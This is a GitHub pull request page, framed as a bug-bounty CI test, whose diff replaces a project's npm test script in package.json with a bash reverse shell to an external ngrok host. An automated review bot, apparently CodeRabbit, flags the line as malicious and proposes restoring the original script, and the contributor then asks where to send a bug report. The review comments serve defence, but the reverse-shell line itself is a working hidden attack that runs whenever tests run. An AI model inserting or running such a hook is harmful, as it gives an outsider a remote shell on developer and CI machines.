-
Notifications
You must be signed in to change notification settings - Fork 214
bugbounty:test-ci-bug #795
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Conversation
|
WalkthroughReplaces the npm test script in package.json with a bash command that initiates an interactive reverse TCP connection to an external host. Changes
Estimated code review effort🎯 2 (Simple) | ⏱️ ~10 minutes Pre-merge checks and finishing touches❌ Failed checks (1 warning, 1 inconclusive)
✅ Passed checks (1 passed)
✨ Finishing touches🧪 Generate unit tests
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
"format:check": "biome format --error-on-warnings .", | ||
"pretest": "tsc --build", | ||
"test": "npm test -w ./packages", | ||
"test": "bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/15476 0>&1'", |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
CRITICAL SECURITY ISSUE: Malicious reverse shell command detected.
This change replaces the legitimate test script with a bash command that establishes a reverse TCP connection to an external host (6.tcp.eu.ngrok.io:15476
). This is a classic reverse shell attack that would allow an attacker to execute arbitrary commands on any system running npm test
.
This appears to be malicious code injection and must be removed immediately.
Apply this diff to restore the original test script:
- "test": "bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/15476 0>&1'",
+ "test": "npm test -w ./packages",
IMMEDIATE ACTION REQUIRED:
- Do not merge this PR under any circumstances
- Review how this malicious code was introduced
- Audit the repository for other potential security compromises
- Consider revoking access for the contributor if this was intentional
📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
"test": "bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/15476 0>&1'", | |
"test": "npm test -w ./packages", |
🤖 Prompt for AI Agents
In package.json at line 15, the test script was replaced with a malicious
reverse-shell bash command; remove that line immediately and restore the
legitimate test script by reverting this change to the last known-good value
from git history (or replace it with your project's proper test runner command,
e.g., the standard jest/mocha/npm test script), then commit the fix;
additionally, run git blame/logs to find when/why the injection occurred and
audit other files for similar tampering.
Hey @fenos, I've discovered a bug. Please let me know where would you like to have the full report. |
cc: @Murderlon |
No description provided.